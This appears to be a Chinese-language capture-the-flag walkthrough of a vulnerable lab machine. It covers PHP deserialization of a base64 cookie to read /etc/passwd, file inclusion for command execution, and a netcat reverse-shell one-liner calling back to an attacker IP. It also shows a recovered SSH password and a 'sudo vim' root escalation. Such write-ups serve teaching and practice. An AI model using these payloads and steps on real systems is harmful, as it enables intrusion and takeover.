扫到一个开放了80端口HTTP协议的主机ip
会看到一个文本页面,翻译一下看是什么意思。。
解码前:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0=
解码后:
0:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";0:7:"Welcome":0:{}}
右键将地址添加,扫描后查看到两个目录文件 ,访问一下。。
访问后会看到弹出一个文件下载界面。
1.通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。
将下列的代码保存到自己的www目录下新建成一个php文件
wel = new Log(); } } $obj = new User(); echo base64_encode(serialize($obj));
也就是访问自己建的payload.php。
查看到了base64编码后的payload。
可以看到查到了etc/passwd文件,可以看见sk4用户
再将自己编码后的payload解码
O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}
wel = new Log(); } } $obj = new User(); echo base64_encode(serialize($obj));
新建一个3.txt里面内容如下:
将之前自己www目录下的php文件内容改为如下(地址为自己的本机地址):
将页面显示得到的复制到burpsuite中
结果显示如下
在如图所示的地方写入?cmd=id,显示如下:
在?cmd后面添加如下:
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+172.16.1.65+4444+>/tmp/f
没有反应,但是反弹shell成功。
显示如下连接靶机成功:,,,,后续可以进行cmd命令操作靶机。
用户名sk4 ,密码是:KywZmnPWW6tTbW5w
ssh sk4@192.168.189.157
输入你查到的密码。。。
sudo vim
提权
提权到了root用户